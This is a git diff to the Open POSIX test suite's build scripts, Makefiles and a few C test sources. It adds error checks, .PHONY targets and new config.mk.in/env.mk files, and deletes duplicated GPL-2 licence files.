diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/9-1.c
index 0236a75..e9f9a8f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/9-1.c
@@ -59,7 +59,10 @@
 
 		/* Get abs path if needed and exec ourself */
 		if (*argv[0] != '/') {
-			getcwd(path, PATH_MAX);
+			if (getcwd(path, PATH_MAX) == NULL) {
+				perror("getcwd");
+				exit(PTS_UNRESOLVED);
+			}
 			strcat(path, "/");
 			strcat(path, argv[0]);
 		} else {
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/testfrmw/threads_scenarii.c b/testcases/open_posix_testsuite/conformance/interfaces/testfrmw/threads_scenarii.c
index baf30a8..645aff6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/testfrmw/threads_scenarii.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/testfrmw/threads_scenarii.c
@@ -482,10 +482,10 @@
 	}
 }
 
-static unsigned int sc;
-
 #ifdef STD_MAIN
 
+static unsigned int sc;
+
 static void *threaded(void *arg);
 
 int main(void)
diff --git a/testcases/open_posix_testsuite/functional/Makefile b/testcases/open_posix_testsuite/functional/Makefile
index 3b22c89..4af1790 100644
--- a/testcases/open_posix_testsuite/functional/Makefile
+++ b/testcases/open_posix_testsuite/functional/Makefile
@@ -4,10 +4,12 @@
 # Ngie Cooper, June 2010
 #
 
+.PHONY: all clean install test
 all clean install test:
 	@for dir in `ls -d */Makefile 2>/dev/null | sed -e 's,/Makefile$$,,g'`; do \
 		$(MAKE) -C $$dir $@;						   \
 	done
 
+.PHONY: distclean-makefiles
 distclean-makefiles:
 	@find */ -name 'Makefile*' | grep -v threads/Makefile | grep -v timers/Makefile | xargs rm -f
diff --git a/testcases/open_posix_testsuite/include/affinity.h b/testcases/open_posix_testsuite/include/affinity.h
index 86fb4f4..da7e683 100644
--- a/testcases/open_posix_testsuite/include/affinity.h
+++ b/testcases/open_posix_testsuite/include/affinity.h
@@ -46,7 +46,8 @@
 	f = fopen("/sys/devices/system/cpu/online", "r");
 	if (!f)
 		return -1;
-	fscanf(f, "%d", &cpu);
+	if (!fscanf(f, "%d", &cpu))
+		cpu = -1;
 	fclose(f);
 
 	return cpu;
diff --git a/testcases/open_posix_testsuite/include/mk/config.mk.in b/testcases/open_posix_testsuite/include/mk/config.mk.in
new file mode 100644
index 0000000..c9a4b5c
--- /dev/null
+++ b/testcases/open_posix_testsuite/include/mk/config.mk.in
@@ -0,0 +1,17 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2022 Joerg Vehlow <joerg.vehlow@aox.de>
+
+CC      =  @CC@
+CFLAGS  += @CFLAGS@
+LDLIBS  += @LIBS@
+LDFLAGS += @LDFLAGS@
+
+prefix      := @prefix@
+exec_prefix := @exec_prefix@
+bindir      := ${exec_prefix}/bin
+
+testdir_rel := @testdir@
+testdir     := ${prefix}/${testdir_rel}
+testdir_bin := ${testdir}/bin
+
+CFLAGS  += -std=c99 -D_POSIX_C_SOURCE=200809L -D_XOPEN_SOURCE=700 -W -Wall
diff --git a/testcases/open_posix_testsuite/include/mk/env.mk b/testcases/open_posix_testsuite/include/mk/env.mk
new file mode 100644
index 0000000..0cd485f
--- /dev/null
+++ b/testcases/open_posix_testsuite/include/mk/env.mk
@@ -0,0 +1,11 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2022 Joerg Vehlow <joerg.vehlow@aox.de>
+
+abs_top_builddir		:= $(abspath $(top_srcdir))
+
+# autotools, *clean, don't require config.mk
+ifeq ($(filter autotools %clean,$(MAKECMDGOALS)),)
+include $(abs_top_builddir)/include/mk/config.mk
+else
+-include $(abs_top_builddir)/include/mk/config.mk
+endif
diff --git a/testcases/open_posix_testsuite/include/posixtest.h b/testcases/open_posix_testsuite/include/posixtest.h
index 8334882..d1b2984 100644
--- a/testcases/open_posix_testsuite/include/posixtest.h
+++ b/testcases/open_posix_testsuite/include/posixtest.h
@@ -23,3 +23,9 @@
 #define PTS_ATTRIBUTE_NORETURN		__attribute__((noreturn))
 #define PTS_ATTRIBUTE_UNUSED		__attribute__((unused))
 #define PTS_ATTRIBUTE_UNUSED_RESULT	__attribute__((warn_unused_result))
+
+#define PTS_WRITE_MSG(msg) do { \
+         if (write(STDOUT_FILENO, msg, sizeof(msg) - 1)) { \
+                 /* https://gcc.gnu.org/bugzilla/show_bug.cgi?id=66425 */ \
+         } \
+} while (0)
diff --git a/testcases/open_posix_testsuite/scripts/generate-makefiles.sh b/testcases/open_posix_testsuite/scripts/generate-makefiles.sh
index 4b3aaa4..0649c48 100755
--- a/testcases/open_posix_testsuite/scripts/generate-makefiles.sh
+++ b/testcases/open_posix_testsuite/scripts/generate-makefiles.sh
@@ -111,9 +111,9 @@
 subdir=			$prereq_cache_dir
 srcdir=			\$(top_srcdir)/\$(subdir)
 
-prefix?=		$PREFIX
-exec_prefix?=		\$(prefix)
-INSTALL_DIR=		\$(DESTDIR)/\$(exec_prefix)/\$(subdir)
+include \$(top_srcdir)/include/mk/env.mk
+
+INSTALL_DIR=		\$(DESTDIR)/\$(testdir)/\$(subdir)
 LOGFILE?=		logfile
 
 # Build variables
@@ -124,19 +124,12 @@
 
 EOF
 
-		if [ -f "$GLOBAL_BOILERPLATE" ]; then
-			cat >> "$makefile.1" <<EOF
-# Top-level make definitions
-`cat $GLOBAL_BOILERPLATE`
-EOF
-		fi
-
 		cat >> "$makefile.1" <<EOF
 # Submake make definitions.
 EOF
 
 		for var in CFLAGS LDFLAGS LDLIBS; do
-			if [ -f "${TOP_SRCDIR}/$var" ]; then
+			if [ -f "${prereq_cache_dir}/$var" ]; then
 				cat >> "$makefile.1" <<EOF
 ${var}+=		`cat "${prereq_cache_dir}/${var}" 2>/dev/null`
 EOF
@@ -156,18 +149,29 @@
 	cat >> "$makefile.2" <<EOF
 MAKE_TARGETS+=		${targets}
 
+ifeq (\$V,1)
+VERBOSE=1
+endif
+
+ifndef VERBOSE
+v=@
+endif
+
 EOF
 
 	if [ ! -f "$makefile.3" ]; then
 
 		cat > "$makefile.3" <<EOF
+.PHONY: all
 all: \$(MAKE_TARGETS)
 	@if [ -d speculative ]; then \$(MAKE) -C speculative all; fi
 
+.PHONY: clean
 clean:
 	rm -f \$(MAKE_TARGETS) logfile* run.sh *.core
 	@if [ -d speculative ]; then \$(MAKE) -C speculative clean; fi
 
+.PHONY: install
 install: \$(INSTALL_DIR) run.sh
 	set -e; for file in \$(INSTALL_TARGETS) run.sh; do	\\
 		if [ -f "\$\$file" ] ; then			\\
@@ -177,8 +181,9 @@
 	done
 	@if [ -d speculative ]; then \$(MAKE) -C speculative install; fi
 
+.PHONY: test
 test: run.sh
-	@./run.sh
+	\$(v)./run.sh
 
 \$(INSTALL_DIR):
 	mkdir -p \$@
@@ -231,7 +236,7 @@
 
 		cat >> "$makefile.3" <<EOF
 $bin_file: \$(srcdir)/$c_file
-	@if $COMPILE_STR > logfile.\$\$\$\$ 2>&1; then \\
+	\$(v)if $COMPILE_STR > logfile.\$\$\$\$ 2>&1; then \\
 		 cat logfile.\$\$\$\$; \\
 		 echo "\$(subdir)/$test_name compile PASSED"; \\
 		 echo "\$(subdir)/$test_name compile PASSED" >> \$(LOGFILE); \\
@@ -300,35 +305,13 @@
 export PATH="$PATH:`dirname "$0"`"
 
 AUTHORDATE=`grep "Ngie Cooper" "$0" | head -n 1 | sed 's,# *,,'`
-PREFIX=`print-prefix.sh`
-EXEC_PREFIX="${PREFIX}/bin"
 TOP_SRCDIR=${TOP_SRCDIR:=`dirname "$0"`/..}
 
-GLOBAL_BOILERPLATE="${TOP_SRCDIR}/.global_boilerplate"
-
-CONFIG_MK="../../include/mk/config-openposix.mk"
-
-rm -f "$GLOBAL_BOILERPLATE"
-
-for var in CFLAGS LDFLAGS LDLIBS; do
-	if [ -f "$TOP_SRCDIR/$var" ]; then
-		cat >> "$GLOBAL_BOILERPLATE" <<EOF
-$var+=		`cat "$TOP_SRCDIR/$var"`
-EOF
-	fi
-done
-
-if [ -f "$CONFIG_MK" ]; then
-	cat "$CONFIG_MK" >> "$GLOBAL_BOILERPLATE"
-fi
-
 # For the generic cases.
 generate_locate_test_makefile buildonly '.test' "$buildonly_compiler_args"
 generate_locate_test_makefile runnable '.run-test'
 generate_locate_test_makefile test-tools ''
 
-rm -f "$GLOBAL_BOILERPLATE"
-
 find . -name Makefile.1 -exec dirname {} \; | while read dir; do
 	if [ -f "$dir/Makefile.2" ]; then
 		cat $dir/Makefile.1 $dir/Makefile.2 $dir/Makefile.3 > $dir/Makefile
diff --git a/testcases/open_posix_testsuite/scripts/print-prefix.sh b/testcases/open_posix_testsuite/scripts/print-prefix.sh
deleted file mode 100755
index 795097f..0000000
--- a/testcases/open_posix_testsuite/scripts/print-prefix.sh
+++ /dev/null
@@ -1,10 +0,0 @@
-#!/bin/sh
-
-if uname -a | grep -iq linux
-then
-	DEFAULT_PREFIX=/opt
-else
-	DEFAULT_PREFIX=/usr/local
-fi
-
-echo ${prefix:=$DEFAULT_PREFIX/openposix_testsuite}
diff --git a/testcases/open_posix_testsuite/scripts/tst_kvercmp.sh b/testcases/open_posix_testsuite/scripts/tst_kvercmp.sh
index 69466bb..281e9c8 100755
--- a/testcases/open_posix_testsuite/scripts/tst_kvercmp.sh
+++ b/testcases/open_posix_testsuite/scripts/tst_kvercmp.sh
@@ -1,4 +1,4 @@
-#!/bin/bash
+#!/bin/sh
 
 if [ $# -ne 3 ]; then
 	echo "Usage: ./tst_kvercmp.sh r1 r2 r3"
@@ -10,6 +10,7 @@
 r2=$(echo ${ker_ver} | awk -F. '{print $2}')
 r3=$(echo ${ker_ver} | awk -F. '{print $3}')
 r3=${r3%%-*}
+r3=${r3%%+*}
 
 test_ver=$(($1 * 65536 + $2 * 256 + $3))
 curr_ver=$((${r1} * 65536 + ${r2} * 256 + ${r3}))
diff --git a/testcases/open_posix_testsuite/stress/Makefile b/testcases/open_posix_testsuite/stress/Makefile
index b09527f..f681405 100644
--- a/testcases/open_posix_testsuite/stress/Makefile
+++ b/testcases/open_posix_testsuite/stress/Makefile
@@ -4,10 +4,12 @@
 # Ngie Cooper, June 2010
 #
 
+.PHONY: all clean install test
 all clean install test:
 	@for dir in `ls -d */Makefile 2>/dev/null | sed -e 's,/Makefile$$,,g'`; do \
 		$(MAKE) -C $$dir $@;						  \
 	done
 
+.PHONY: distclean-makefiles
 distclean-makefiles:
 	@find */ -name 'Makefile*' | xargs rm -f
diff --git a/testcases/open_posix_testsuite/stress/threads/fork/LICENCE b/testcases/open_posix_testsuite/stress/threads/fork/LICENCE
deleted file mode 100644
index d60c31a..0000000
--- a/testcases/open_posix_testsuite/stress/threads/fork/LICENCE
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year  name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_cancel/LICENCE b/testcases/open_posix_testsuite/stress/threads/pthread_cancel/LICENCE
deleted file mode 100644
index d60c31a..0000000
--- a/testcases/open_posix_testsuite/stress/threads/pthread_cancel/LICENCE
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
